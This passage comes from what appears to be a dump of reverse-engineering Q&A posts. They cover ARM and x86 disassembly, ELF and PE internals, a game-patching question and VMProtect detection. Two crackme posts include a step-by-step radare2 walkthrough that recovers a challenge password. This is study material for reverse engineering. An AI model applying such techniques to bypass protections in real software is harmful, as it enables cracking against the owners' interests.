VCVT.F32.F64 S10, D5 \n             VADD.F32 S12, S10, S12\n             B        loc_12C4\nloc_1294:\n             VMUL.F32 S15, S15, S13 \n             VLDR    D6, gvar 1308 \n             VMUL.F32 S15, S15, S8 \n             VDIV.F32 S10, S15, S10 \n             VCVT.F64.F32 D5, S10\n             VMUL.F64 D5, D5, D6 \n             VLDR    D6, gvar_1310 \n             VMUL.F64 D6, D5, D6 \n             VCVT.F32.S32 S7, S7 \n             VCVT.F32.F64 S15, D6 \n             VDIV.F32 S12, S7, S14 \n             VADD.F32 S12, S15, S12\nloc_12C4:\n             VMOV.F32 S14, #1.000000E+01 \n             VMUL.F32 S14, S12, S14 \n             VMOV.F64 D6, #5.000000E-01 \n             VCVT.F64.F32 D7, S14 \n             VADD.F64 D7, D7, D6 \n             VCVT.S32.F64 S14, D7 \n             VMOV.F64 D6, #1.000000E+01 \n             VCVT.F64.S32 D7, S14 \n             VDIV.F64 D7, D7, D6 \n             VCVT.F32.F64 S15, D7\n             VMOV    R0, S15\n             BX      LR\n\ngetFunc        endp\n\n\nLOAD.text:000012F2           db 0, BFh, AFh, F3h, 0, 80h \nLOAD.text:000012F8 gvar_12F8 dq 3FCC28F5C28F5C29h\nLOAD.text:00001300 gvar_1300 dq 3FE3333340000000h \nLOAD.text:00001308 gvar_1308 dq 3FD5C28F5C28F5C3h \nLOAD.text:00001310 gvar_1310 dq 3FDCCCCCC0000000h \nLOAD.text:00001318 gvar_1318 dd 42C80000h\nLOAD.text:0000131C           db AFh, F3h, 0, 80h\n</code></pre>\n",
        "Title": "Reverse engineer a ARM-v7a function",
        "Tags": "|arm|java|",
        "Answer": "<p>I guess I found the error.</p>\n\n<p>I incorrectly translated the assembly <code>SUBS    R3, #AAh</code> into <code>r3 = param3 - 0xAA;</code> but it should be <code>param3 = param3 - 0xAA;</code></p>\n\n<p>Could an expert confirm my mistake?</p>\n"
    },
    {
        "Id": "19392",
        "CreationDate": "2018-09-18T19:31:28.870",
        "Body": "<p>I used <code>readelf</code> to read the information of the ELF file. I found the address of <code>.got</code> section in the section header is different from the GOT entry point address read from the dynamic section. Is the data which stored between <code>.got</code> address and the entry point of GOT like garbage? The follow is apart of information got from <code>readelf</code>.</p>\n\n<hr>\n\n<p><strong>ELF Header</strong> - This ELF is run on ARMv7A.</p>\n\n<pre><code>ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           ARM\n  Version:                           0x1\n  Entry point address:               0x0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          38412 (bytes into file)\n  Flags:                             0x5000200, Version5 EABI, soft-float ABI\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         8\n  Size of section headers:           40 (bytes)\n  Number of section headers:         26\n  Section header string table index: 25\n</code></pre>\n\n<hr>\n\n<p><strong>Section Headers</strong> - The address of <code>.got</code> section is at <code>0x00008eac</code></p>\n\n<pre><code>Section Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .note.gnu.build-i NOTE            00000134 000134 000024 00   A  0   0  4\n  [ 2] .dynsym           DYNSYM          00000158 000158 0006a0 10   A  3   1  4\n  [ 3] .dynstr           STRTAB          000007f8 0007f8 000704 00   A  0   0  1\n  [ 4] .hash             HASH            00000efc 000efc 000334 04   A  2   0  4\n  [ 5] .gnu.version      VERSYM          00001230 001230 0000d4 02   A  2   0  2\n  [ 6] .gnu.version_d    VERDEF          00001304 001304 00001c 00   A  3   1  4\n  [ 7] .gnu.version_r    VERNEED         00001320 001320 000020 00   A  3   1  4\n  [ 8] .rel.dyn          REL             00001340 001340 000178 08   A  2   0  4\n  [ 9] .rel.plt          REL             000014b8 0014b8 000250 08  AI  2  10  4\n  [10] .plt              PROGBITS        00001708 001708 00038c 00  AX  0   0  4\n  [11] .text             PROGBITS        00001a94 001a94 0053d4 00  AX  0   0  4\n  [12] .ARM.extab        PROGBITS        00006e68 006e68 000078 00   A  0   0  4\n  [13] .ARM.exidx        ARM_EXIDX       00006ee0 006ee0 000178 08  AL 11   0  4\n  [14] .rodata           PROGBITS        00007058 007058 000038 00  AM  0   0  4\n  [15] .fini_array       FINI_ARRAY      00008cf8 007cf8 000008 00  WA  0   0  4\n  [16] .data.rel.ro      PROGBITS        00008d00 007d00 00007c 00  WA  0   0  4\n  [17] .init_array       INIT_ARRAY      00008d7c 007d7c 000008 00  WA  0   0  4\n  [18] .dynamic          DYNAMIC         00008d84 007d84 000128 08  WA  3   0  4\n  [19] .got              PROGBITS        00008eac 007eac 000154 00  WA  0   0  4\n  [20] .data             PROGBITS        00009000 008000 001450 00  WA  0   0  4\n  [21] .bss              NOBITS          0000a450 009450 000004 00  WA  0   0  4\n  [22] .comment          PROGBITS        00000000 009450 000065 01  MS  0   0  1\n  [23] .note.gnu.gold-ve NOTE            00000000 0094b8 00001c 00      0   0  4\n  [24] .ARM.attributes   ARM_ATTRIBUTES  00000000 0094d4 000034 00      0   0  1\n  [25] .shstrtab         STRTAB          00000000 009508 000103 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n</code></pre>\n\n<hr>\n\n<p><strong>A Part of Dynamic Section</strong></p>\n\n<pre><code>Dynamic section at offset 0x7d84 contains 32 entries:\n  Tag        Type                         Name/Value\n 0x00000003 (PLTGOT)                     0x8ecc\n 0x00000002 (PLTRELSZ)                   592 (bytes)\n 0x00000017 (JMPREL)                     0x14b8\n 0x00000014 (PLTREL)                     REL\n 0x00000011 (REL)                        0x1340\n 0x00000012 (RELSZ)                      376 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x6ffffffa (RELCOUNT)                   41\n 0x00000006 (SYMTAB)                     0x158\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x00000005 (STRTAB)                     0x7f8\n 0x0000000a (STRSZ)                      1796 (bytes)\n 0x00000004 (HASH)                       0xefc\n ...\n</code></pre>\n\n<hr>\n\n<p><strong>Tail of <code>.dynamic</code> and Head of <code>.got</code></strong></p>\n\n<pre><code>...\n0x8e84:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8e94:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ea4:   00 00 00 00 00 00 00 00  00                        |.........       |\n; section: .got\n0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|\n0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|\n0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n...\n</code></pre>\n\n<p><a href=\"https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-74186.html\" rel=\"nofollow noreferrer\">The Oracle's specification</a> mentioned:</p>\n\n<blockquote>\n  <p>The symbol _GLOBAL_OFFSET_TABLE_ can be used to access the table. This symbol can reside in the middle of the .got section, allowing both negative and nonnegative subscripts into the array of addresses.</p>\n</blockquote>\n\n<p>But the data before the entry of GOT are quietly different from others. All of the other data points to the very first PLT address(<code>0x1708</code>). Is the space before the entry point of GOT used to store the address of external functions as the same as others, or there are other ways to use them, or they are just unuseful garbage?</p>\n\n<hr>\n\n<h2>Update</h2>\n\n<p>I found there are two numbers in the block <code>0x8eac</code> to <code>0x8ecb</code>, the block before the entry point of the GOT. At <code>0x8ec0</code>, <code>0x7058</code> is the address of <code>.rodata</code> section. And at <code>0x8ec4</code>, <code>0x6ee0</code> is the address of <code>.ARM.exidx</code> section. Is it that filling these two address in <code>.got</code> a specific feature of the chain tools and compilers for ARM?</p>\n\n<p>I have not seen any specification of ELF mentions this.</p>\n",
        "Title": "ELF - The start address of .got section is different from the entry point address of the GOT(global offset table)",
        "Tags": "|arm|elf|",
        "Answer": "<p>It's difficult to say without the sample, but you need to keep in mind that the dynamic loader <em>does not care</em> about sections. It only uses information from the program headers, including the <code>PT_DYNAMIC</code> entry (it may well be different from the <code>.dynamic</code> section in which case the section's contents is simply ignored).</p>\n\n<p>While customarily the GOT starts at the beginning of the <code>.got</code> section, it is not a requirement for the loader to do its job. It only uses the dynamic tags and dynamic relocation info (<code>DT_JMPREL</code>, <code>DT_PLTREL</code>, <code>DT_REL</code>, plus <code>DT_SYMTAB</code>,<code>DT_STRTAB</code> and <code>DT_HASH</code> and for symbol resolution). In fact, you can remove the section table completely and the file will still run (but some tools may have difficulties parsing it).</p>\n\n<p>Possibly some other section got merged with <code>.got</code>, although I don't know what it could be.</p>\n"
    },
    {
        "Id": "19394",
        "CreationDate": "2018-09-19T02:39:50.910",
        "Body": "<p>I'm poking through a disassembled 16-bit DOS game circa 1992. The original system requirements state that the game needs an IBM AT-compatible machine or later, with the 286 processor, to run. And there's a stub around <code>main()</code> that checks for the processor and displays an error message if one is not found.</p>\n<p>I was intrigued as to what was actually being tested for, and I tracked down what appears to be the test procedure. It's comprised of five sub-tests, which are run conditionally, and it returns an integer in the range 0..7 depending on the results of the tests. I figured out, broadly, what the code does (although there may be errors; I'm still rather inexperienced and sometimes misread/misinterpret the meanings of instruction sequences).</p>\n<pre><code>; ... stack setup omitted ...\npushfw\n\n; ==========================================\n; === CHECK #1 =============================\n; ==========================================\n; Sets FLAGS to 0x0 and then immediately reads it back. On an 8086/80186, bits\n; 12-15 always come back set. On a 80286+ this is not the case.\n; 8086/80186 behavior: jump to check 3.\n; 80286+ behavior: fall through to check 2.\nxor ax,ax      ; AX=0x0\npush ax\npopfw          ; pop 0x0 into FLAGS\npushfw\npop ax         ; pop FLAGS into AX\n\nand ax,0xf000  ; bits 12-13: IOPL, always 1 on 86/186\ncmp ax,0xf000  ; bit 14: NT, always 1 on 86/186\n               ; bit 15: Reserved, always 1 on 86/186, always 0 on 286+\njz check3\n\n; ==========================================\n; === CHECK #2 =============================\n; ==========================================\n; Only runs if CPU is plausibly an 80286. Last check before returning.\n; Sets DL=0x6 if IOPL and NT flag bits are all clear.\n; Sets DL=0x7 if any bits in IOPL/NT flags are set.\nmov dl,0x6     ; DL is the proc's return val\nmov ax,0x7000\npush ax\npopfw          ; pop 0x7000 into FLAGS\npushfw\npop ax         ; pop FLAGS into AX\n\nand ax,0x7000  ; bits 12-13: IOPL\n               ; bit 14: NT\njz done\ninc dl         ; DL=0x7 if any bit was set\njmp done\nnop\n\n; ==========================================\n; === CHECK #3 =============================\n; ==========================================\n; Only runs if CPU seems to be an 8086/80186.\n; Sets DL=0x4 and moves on to...\n;   check 4 if 0xff &gt;&gt; 21 == 0\n;   check 5 otherwise (how can this happen?)\ncheck3:\nmov dl,0x4     ; DL is the proc's return val\nmov al,0xff\nmov cl,0x21\nshr al,cl      ; AL = 0xff &gt;&gt; 0x21\njnz check5     ; when does this happen?\n\n; ==========================================\n; === CHECK #4 =============================\n; ==========================================\n; At this point, DF is still 0. ES doesn't\n; point to anything sensible.\n; Sets DL=0x2 if the loop completes.\n; Sets DL=0x0 if the loop does not complete.\n; Moves onto check 5 unconditionally.\nmov dl,0x2     ; DL is the proc's return val\nsti            ; are interrupts important?\npush si\nmov si,0x0\nmov cx,0xffff\nrep lods [BYTE PTR es:si] ; read 64K, ES[SI]-&gt;AL, all junk?\npop si\nor cx,cx       ; test if loop reached 0\njz check5\nmov dl,0x0     ; didn't hit 0. interrupted?\n\n; ==========================================\n; === CHECK #5 =============================\n; ==========================================\n; Leaving memory addresses here because they seem important.\n; Here, DL is either 0x0 or 0x2 from check 4, or 0x4 from check 3. Looks like,\n; contingent on the INC instruction getting overwritten, DL either stays at\n; 0x0/0x2/0x4, or becomes 0x1/0x3/0x5.\ncheck5:\n00000B74  push cs\n00000B75  pop es        ; Set ES to CS. (why not mov es,cs? illegal?)\n00000B76  std           ; DF=1, rep decrements CX\n00000B77  mov di,0xb88\n00000B7A  mov al,0xfb   ; is this just an STI opcode?\n00000B7C  mov cx,0x3\n00000B7F  cli           ; are interrupts undesired?\n00000B80  rep stosb     ; write 3 bytes, AL-&gt;ES[DI]\n00000B82  cld           ; DF=0, why does it matter now?\n00000B83  nop\n00000B84  nop\n00000B85  nop\n00000B86  inc dx        ; destination when CX=1. overwritten?\n00000B87  nop           ; destination when CX=2\n00000B88  sti           ; destination when CX=3\n\ndone:\npopfw\nxor dh,dh      ; only keep low bits\nmov ax,dx      ; return through AX\n; ... stack teardown omitted ...\nretf\n\n; Return values:\n; AX == 0x0: 8086, normal right-shift, loop aborted, overwrites\n; AX == 0x1: 8086, normal right-shift, loop aborted, did not overwrite\n; AX == 0x2: 8086, normal right-shift, loop finished, overwrites\n; AX == 0x3: 8086, normal right-shift, loop finished, did not overwrite\n; AX == 0x4: 8086, weird right-shift, overwrites\n; AX == 0x5: 8086, weird right-shift, did not overwrite\n; AX == 0x6: 286, with clear IOPL/NT flags\n; AX == 0x7: 286, with set IOPL/NT flags\n</code></pre>\n<p>Here's what I can figure so far:</p>\n<p><strong>Check 1:</strong> Seems straightforward. Explicitly set FLAGS to 0x0 and then read it back. The 8086 will force all bits 12..15 to 1, and the 286 won't. <a href=\"https://en.wikipedia.org/wiki/FLAGS_register\" rel=\"nofollow noreferrer\">Source</a>.</p>\n<p><strong>Check 2:</strong> Only for the 286, seems to be similar to check 1 but with special focus on the protected mode flags. Not sure what significance this is to the caller.</p>\n<p>(An aside: If we're assuming the CPU is a 286, couldn't it have been <code>push 0x7000</code> instead of <code>mov ax,0x7000; push ax</code>?)</p>\n<p><strong>Check 3:</strong> Computes <code>0xff &gt;&gt; 0x21</code> and looks for a result other than <code>0</code>. How does this ever happen? Is there a reason the nonzero result obviates the need for check 4?</p>\n<p><strong>Check 4:</strong> Reads 64K from ES into AL. Seems like busywork; ES has not been set to anything useful, and AL is not read from. Core of the test seems to be built around the idea of CX never reaching zero, possibly because of an interrupt somewhere during the loop? Shouldn't the interrupt procedure <code>iret</code> and return here to finish?</p>\n<p><strong>Check 5:</strong> Self-modifying code? Looks like it replaces the last few instructions of the test with <code>STI</code>, thus removing the <code>INC</code> that would otherwise affect the return value? What is the circumstance under which it would fail to overwrite, and thus execute the <code>INC</code>?</p>\n<p>(An aside: Could <code>push cs; pop es</code> be rewritten as <code>mov es,cs</code> or is that not a legal form?)</p>\n<p>I feel like I'm pretty far along in understanding it, but there are clearly a few holes remaining. I'm also not anywhere near fluent in x86, so there may be misinterpretations in my translated comments as well. I get the sense that there's some real cleverness here, written by somebody who knew the intricacies of these machines at a very detailed level. I'd like to understand their magic on some level, if I can.</p>\n",
        "Title": "How did this 80286 detection code work?",
        "Tags": "|disassembly|x86|dos|dos-exe|",
        "Answer": "<p><strong>Check 2</strong>: While check 1 tests if the high-order bits of the flag word can be <em>cleared</em>, check 2 tests whether they can be <em>set</em>. On an 80286, these bits cannot be set in real mode, while on an 80386 they can.</p>\n\n<p><strong>Check 3</strong>: This is testing what kind of shifter the processor has. Some (the newer ones) have a <a href=\"https://en.wikipedia.org/wiki/Barrel_shifter\" rel=\"nofollow noreferrer\">barrel shifter</a> that effectively masks the shift count to the word size (and the use of 0x21 as the shift count suggests to me that the difference appeared in the post-80286 era). So a shift by 0x21 (33) gives the same result as a shift by 33 - 32 = 1. I don't know at which generation the barrel shifter appeared.</p>\n\n<p><strong>Check 4</strong>: I can't remember the details, but parts of it seem familiar to me. It's either got something to do with the repeat count being wrong after a maximal-length loop, or something with having a double instruction prefix that triggers a CPU bug. I think it's the latter, and the order of prefixes matters. When an interrupt handler returns, the instruction pointer is set to the wrong address and one or more prefixes are forgotten. Illustration: <a href=\"https://www.youtube.com/watch?v=6FC-tcwMBnU\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=6FC-tcwMBnU</a> Note that the code you have here actually has the es: override prefix first, so the loop should always complete! Could this be a CPU bug detection routine, that itself contains a bug?</p>\n\n<p><strong>Check 5</strong>: This is checking for an instruction cache that operates independently of any data cache. On an 80486 you can stomp all over the 16-byte window in which the processor is currently executing, and it will still execute the old contents that were loaded into the (separate) instruction cache. I think Pentium+ processors detect this overwriting and flush the instruction cache and prefetch queue. Even the earliest x86 processors have a prefetch queue long enough (except the 8088) to cover the instructions being overwritten. Conditions under which the new code gets executed: on a Pentium+ (IIRC), under a single-stepping debugger, in v86 mode where the CLI instruction doesn't really take effect, and an interrupt occurs.</p>\n"
    },
    {
        "Id": "19396",
        "CreationDate": "2018-09-19T11:50:36.220",
        "Body": "<p>I have a PE file (notepad), the <code>NumberOfRvaAndSize</code> value in the COFF header is <code>0x10</code>, and there are 16 <code>DataDirectory</code> entries as expected.</p>\n\n<p>The <a href=\"https://docs.microsoft.com/en-us/windows/desktop/Debug/pe-format#optional-header-data-directories-image-only\" rel=\"nofollow noreferrer\">documentation</a> says that this value can change (though I've never seen it), which would mean there were greater than of fewer than 16 entries.</p>\n\n<p>Immediatly after there's a list of 16 data directories complete with names.</p>\n\n<ol>\n<li>Are these names just always the same, in that exact order?</li>\n<li>If there are fewer, will it always be whatever directories are at the end that will be missing?</li>\n<li>If there are greater than 16, what are they called?</li>\n</ol>\n",
        "Title": "Are the names of COFF Data Directories fixed?",
        "Tags": "|windows|pe|file-format|executable|",
        "Answer": "<p>In short:</p>\n\n<ol>\n<li>Yes </li>\n<li>Correct</li>\n<li>You have to have a specification to know.</li>\n</ol>\n\n<p>The data directories are a fixed sparse array, and the meaning of each slot is defined by the specification, so (for example) the Export table is always the first entry, it can't move. If you don't have an Export table (but you do have other directories), then the <code>Size</code> and <code>VirtualAddress</code> fields will be zero.</p>\n\n<blockquote>\n  <p>Note that the number of directories is not fixed. Before looking for a specific directory, check the NumberOfRvaAndSizes field in the optional header.</p>\n</blockquote>\n\n<p>So if the <code>NumberOfRvaAndSizes</code> member is 2, then you can look at the Export table and the Import table, but nothing else.</p>\n\n<p>Parsers are built against the specification, so if they encounter a PE file with a <code>NumberOfRvaAndSizes</code> value greater than what they know about, then they don't know what the data is or how to interpret it (and no way to find out by inspecting the PE file). Same goes for any Directory that is reserved or otherwise undocumented.</p>\n"
    },
    {
        "Id": "19399",
        "CreationDate": "2018-09-19T16:36:00.930",
        "Body": "<p>I am trying to modify a game (Fallout New Vegas) to not show a pause menu when the window loses focus.\nI thought of two approaches:</p>\n\n<ul>\n<li><p>Find the code that is called when focus changes and nop the call which would show the pause menu.</p></li>\n<li><p>Find the code which determines whether the game is focussed and nop that</p></li>\n</ul>\n\n<p>There is already a reliable way to patch the game's executable at runtime, however I am unsure of the best way to locate the code called when the game loses focus.</p>\n\n<p>I tried using cheat engine to find the variables that represent whether the game is focussed, however when checking the code around the variable I couldn't find anything that calls the menu to open.</p>\n\n<p>Any ideas on how to approach this?</p>\n",
        "Title": "Prevent game from pausing on lost focus (Fallout New Vegas)",
        "Tags": "|disassembly|",
        "Answer": "<p>I recommend you to use differential debugging. You can do it <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/pin/pin_tutorial.pdf\" rel=\"nofollow noreferrer\">with IDA</a> or with other tools like <a href=\"https://github.com/google/binnavi\" rel=\"nofollow noreferrer\">BinNavi</a> (if your target is a 32bits one). Basically, you have to do the following:</p>\n\n<ol>\n<li>Record an initial trace since the beginning of the game, do things in the game and then exit from the game's menu.</li>\n<li>Record a new trace and, this time, put the window out of the focus.</li>\n<li>Diff the previous 2 traces and see where is the new code that was executed specifically at the 2nd trace.</li>\n</ol>\n"
    },
    {
        "Id": "19408",
        "CreationDate": "2018-09-20T13:29:35.763",
        "Body": "<p>I wanted to ask whether there is a simple way to see an object's structure (like windbg's \"dt\" command equivalent)?</p>\n\n<p>Assuming of course I have the pdb file.</p>\n\n<p>Thank you :)</p>\n",
        "Title": "Windbg's \"dt\" equivalent in IDA?",
        "Tags": "|ida|static-analysis|windbg|",
        "Answer": "<p>You need to import your structure to idb in the local types window (shift F1), then you can apply your imported structure on the data which is pointed by cursor (ALT-Q)</p>\n"
    },
    {
        "Id": "19429",
        "CreationDate": "2018-09-23T00:01:31.083",
        "Body": "<p>I'll get right to the point, I have a crack me program, that is a program with a password inside that needs to be found so that you can complete the challenge.  </p>\n\n<p>I easily <strong>found the cmp instruction</strong> with the password, <strong>but the numeric password was multiplied by 2.</strong>  </p>\n\n<p>in the program <strong>does not have anything to multiply</strong> or divide the password, then this must be caused by something else</p>\n\n<p>so I had to get the hexadecimal value of the password convert to decimal and <strong>divide by 2</strong> to have the <em>real</em> password.</p>\n\n<p>here is the cmp instruction:</p>\n\n<pre><code>CMP DWORD PTR SS:[EBP-C],961DB0\n</code></pre>\n\n<blockquote>\n  <p>0x961DB0 / 2 is the password.<br>\n  EBP-C has the password.</p>\n</blockquote>\n\n<p>I would like to know why the password has been multiplied by 2 in this cmp instruction.</p>\n\n<p><a href=\"https://i.stack.imgur.com/iePIQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iePIQ.png\" alt=\"OLLYDBG SEEING THE PASSWORD\"></a></p>\n\n<p>A photo of the Source Code, I do not have it without being in the photo.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ywXfZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ywXfZ.png\" alt=\"SOURCE CODE !!\"></a></p>\n\n<p>Thank you very much in advance.</p>\n",
        "Title": "Disassembly - Why the CMP instruction is multiplying by 2 the value being compared",
        "Tags": "|disassembly|ollydbg|debuggers|disassemblers|crackme|",
        "Answer": "<p>The <code>cmp</code> instruction does not multiply anything by two. Instead, the piece of code seen in your ollydbg screen shot is the implementation of the following line from the poor quality source code image you attached:</p>\n\n<pre><code>if ((!key) || (key &gt; (0x1337 * 2000)))\n</code></pre>\n\n<p>First, in address <code>0x01051C09</code>, <code>key</code> is compared to <code>0</code>. If <code>key</code> equals <code>0</code> a jump to <code>0x01051C18</code> is taken. Otherwise, <code>key</code> is compared to <code>0x0961DB0</code>. If <code>key</code> is below or equal to <code>0x0961DB0</code> another jump is taken. If <code>key</code> is <em>greater</em> than <code>0x0961DB0</code> execution continues to <code>0x01051C18</code>.</p>\n\n<p>As you should've guessed by now, <code>0x0961DB0</code> is simply <code>0x1337</code> times 2000.</p>\n\n<p>Instructions <code>0x01051C18</code> to <code>0x01051C22</code> are the implementation of calling <code>wrong</code>, setting <code>eax</code> to the correct return value (<code>1</code>) and then jumping to where (I assume) the function prolog and <code>ret</code> are executed.</p>\n"
    },
    {
        "Id": "19437",
        "CreationDate": "2018-09-24T11:03:32.537",
        "Body": "<p>I have a binary with <a href=\"http://vmpsoft.com/\" rel=\"nofollow noreferrer\">VMProtect</a>. Some tools giving info that this is 2.x, some that 3.x. How I could check it? Thanks.</p>\n",
        "Title": "How detect version of VMProtect",
        "Tags": "|disassembly|unpacking|packers|vmprotect|",
        "Answer": "<p>Unfortunately there's no easy answer here.</p>\n\n<p>Most of these tools employ different types of heuristics to determine the version used. Often times just applying binary signatures which could be inaccurate. Without gaining a decent understanding of VMProtect to recognize the differences this will be quite difficult.</p>\n\n<p>If tools used are open-source or well-documented, you can go over the signature used to detect the version, and validate it manually once you have a good understanding of the rational behind it. </p>\n"
    },
    {
        "Id": "19442",
        "CreationDate": "2018-09-24T19:54:10.547",
        "Body": "<p>Here is the binary file. <a href=\"https://drive.google.com/file/d/1ywN60yZYIhPPRyZMGbQudZRYoLYBhkeJ/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1ywN60yZYIhPPRyZMGbQudZRYoLYBhkeJ/view?usp=sharing</a></p>\n\n<p>I am able to figure out some of the assembly, but can't get the correct password. I know that it is two integers separated by a space.</p>\n\n<p>EDIT: By using the command <code>ps @ str.d__d</code> you get the result of <code>%d %d</code>. It is located at the address <code>0x0804853f</code>.</p>\n\n<p>EDIT2: I figured out that there are multiple local variables being used:  </p>\n\n<pre><code>var int local_2ch @ ebp-0x2c \nvar int local_20h @ ebp-0x20 \nvar int local_1ch @ ebp-0x1c \nvar unsigned int local_18h @ ebp-0x18 \nvar int local_14h @ ebp-0x14 \nvar int local_10h @ ebp-0x10\nvar int canary @ ebp-0xc\nvar int local_4h @ ebp-0x4 \narg int arg_4h @ esp+0x4 \n</code></pre>\n",
        "Title": "What is the password to this file? I can't figure it out with radare2 or gdb",
        "Tags": "|disassembly|x86|decompilation|",
        "Answer": "<p>Here's how you can do it. \nUsual stuff : <code>r2 file; aaa; pdf@sym.main</code></p>\n\n<p>You can see the params to <code>scanf</code> pushed to stack.</p>\n\n<pre><code>|           0x08048537      8d45e4         lea eax, [local_1ch]\n|           0x0804853a      50             push eax\n|           0x0804853b      8d45e0         lea eax, [local_20h]\n|           0x0804853e      50             push eax\n|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; \"%d %d\" ; const char *format\n|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n</code></pre>\n\n<p>Lets rename locals.</p>\n\n<pre><code>[0x080484eb]&gt; afv?\nUsage: afv  [rbs]\n| afvr[?]                       manipulate register based arguments\n| afvb[?]                       manipulate bp based arguments/locals\n| afvs[?]                       manipulate sp based arguments/locals\n| afv*                          output r2 command to add args/locals to flagspace\n| afvR [varname]                list addresses where vars are accessed (READ)\n| afvW [varname]                list addresses where vars are accessed (WRITE)\n| afva                          analyze function arguments/locals\n| afvd name                     output r2 command for displaying the value of args/locals in the debugger\n| afvn [new_name] ([old_name])  rename argument/local\n| afvt [name] [new_type]        change type for given argument/local\n| afv-([name])                  remove all or given var\n\n[0x080484eb]&gt; afvn input_1 local_20h\n[0x080484eb]&gt; afvn input_2 local_1ch\n[0x080484eb]&gt; pdf@sym.main\n</code></pre>\n\n<p>Now it looks like</p>\n\n<pre><code>|           0x08048537      8d45e4         lea eax, [input_2]\n|           0x0804853a      50             push eax\n|           0x0804853b      8d45e0         lea eax, [input_1]\n|           0x0804853e      50             push eax\n|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; \"%d %d\" ; const char *format\n|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n</code></pre>\n\n<p>There's a check for Correct/Incorrect</p>\n\n<pre><code>|       `-&gt; 0x08048579      837de800       cmp dword [local_18h], 0\n|       ,=&lt; 0x0804857d      7412           je 0x8048591\n|       |   0x0804857f      83ec0c         sub esp, 0xc\n|       |   0x08048582      685b860408     push str.Correct            ; 0x804865b ; \"Correct!\" ; const char *s\n|       |   0x08048587      e824feffff     call sym.imp.puts           ; int puts(const char *s)\n|       |   0x0804858c      83c410         add esp, 0x10\n|      ,==&lt; 0x0804858f      eb10           jmp 0x80485a1\n|      ||   ; CODE XREF from main (0x804857d)\n|      |`-&gt; 0x08048591      83ec0c         sub esp, 0xc\n|      |    0x08048594      6864860408     push str.Incorrect          ; 0x8048664 ; \"Incorrect!\" ; const char *s\n|      |    0x08048599      e812feffff     call sym.imp.puts           ; int puts(const char *s)\n|      |    0x0804859e      83c410         add esp, 0x10\n</code></pre>\n\n<p>If <code>local_18h</code> is 1/0, Correct/Incorrect is printed out to stdout respectively. Rename <code>local_18h</code> to <code>final_flag</code> as it decides the final output.</p>\n\n<pre><code>[0x0804852b]&gt; afvn final_flag local_18h\n</code></pre>\n\n<p>Some constants are loaded to local variables. Remember/rename them to follow in code.</p>\n\n<pre><code>|           0x0804850f      c745e8010000.  mov dword [final_flag], 1\n|           0x08048516      c745ec2a0000.  mov dword [local_14h], 0x2a ; '*' ; 42\n|           0x0804851d      c745f0390500.  mov dword [local_10h], 0x539 ; 1337\n</code></pre>\n\n<p><code>final_flag</code> is initially 1 (true). Just after input, there's a check to set <code>final_flag</code> to 0(false).</p>\n\n<pre><code>|           0x0804854c      8b45ec         mov eax, dword [const_2a]\n|           0x0804854f      35280a0000     xor eax, 0xa28\n|           0x08048554      89c2           mov edx, eax\n|           0x08048556      8b45e0         mov eax, dword [input_1]\n|           0x08048559      39c2           cmp edx, eax\n|       ,=&lt; 0x0804855b      7407           je 0x8048564\n|       |   0x0804855d      c745e8000000.  mov dword [final_flag], 0\n|       |   ; CODE XREF from main (0x804855b)\n</code></pre>\n\n<p>This can be roughly translated to:</p>\n\n<pre><code>if const_2a^0xa28 != input_1:\n    final_flag = False\n</code></pre>\n\n<p>To pass this input_1 = const_2a^0xa28 </p>\n\n<pre><code>&gt;&gt;&gt; 0x2a^0xa28\n2562\n</code></pre>\n\n<p>Similar check for input_2</p>\n\n<pre><code>|       `-&gt; 0x08048564      8b45f0         mov eax, dword [const_539]\n|           0x08048567      f7d0           not eax\n|           0x08048569      89c2           mov edx, eax\n|           0x0804856b      8b45e4         mov eax, dword [input_2]\n|           0x0804856e      39c2           cmp edx, eax\n|       ,=&lt; 0x08048570      7407           je 0x8048579\n|       |   0x08048572      c745e8000000.  mov dword [final_flag], 0\n</code></pre>\n\n<p>This can be roughly translated to:</p>\n\n<pre><code>if ~const_539 != input_2:\n    final_flag = False\n</code></pre>\n\n<p>To pass this input_2 = ~const_539</p>\n\n<pre><code>&gt;&gt;&gt; ~0x539\n-1338\n</code></pre>\n\n<p>Finally</p>\n\n<pre><code>./part2\nEnter the password: 2562 -1338\nCorrect!\n</code></pre>\n"
    },
    {
        "Id": "19451",
        "CreationDate": "2018-09-25T14:58:02.807",
